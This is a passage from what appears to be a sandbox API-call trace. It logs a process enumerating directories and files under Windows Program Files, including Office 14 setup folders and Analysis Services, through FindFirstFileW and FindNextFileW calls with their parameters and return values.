cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0036.466] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.467] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.467] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0036.467] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.467] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.467] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0036.467] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.467] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.467] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0036.468] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.468] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.468] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0036.468] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.468] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.468] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0036.469] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.469] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.469] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0036.469] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.469] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.469] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0036.469] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.469] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.469] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0036.469] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.470] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.470] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0036.470] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.470] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.470] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0036.470] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.471] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.471] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0036.471] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.471] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.471] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0036.472] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.472] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.472] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0036.472] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.472] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.472] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0036.472] FindClose (in: hFindFile=0x3931988 | out: hFindFile=0x3931988) returned 1 [0036.473] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f4adf8 | out: hHeap=0x5f0000) returned 1 [0036.473] FindNextFileW (in: hFindFile=0x39318c8, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0036.474] FindClose (in: hFindFile=0x39318c8 | out: hFindFile=0x39318c8) returned 1 [0036.474] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3eb2dd8 | out: hHeap=0x5f0000) returned 1 [0036.590] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x33cf58c | out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0036.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931988 [0036.591] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.592] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0037.648] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.648] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0037.648] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3fc7e30 [0037.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39318c8 [0039.568] FindNextFileW (in: hFindFile=0x39318c8, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.568] FindNextFileW (in: hFindFile=0x39318c8, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0039.569] FindClose (in: hFindFile=0x39318c8 | out: hFindFile=0x39318c8) returned 1 [0039.609] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0039.609] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0039.609] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3fc7e30 [0039.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39318c8 [0039.609] FindNextFileW (in: hFindFile=0x39318c8, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.609] FindNextFileW (in: 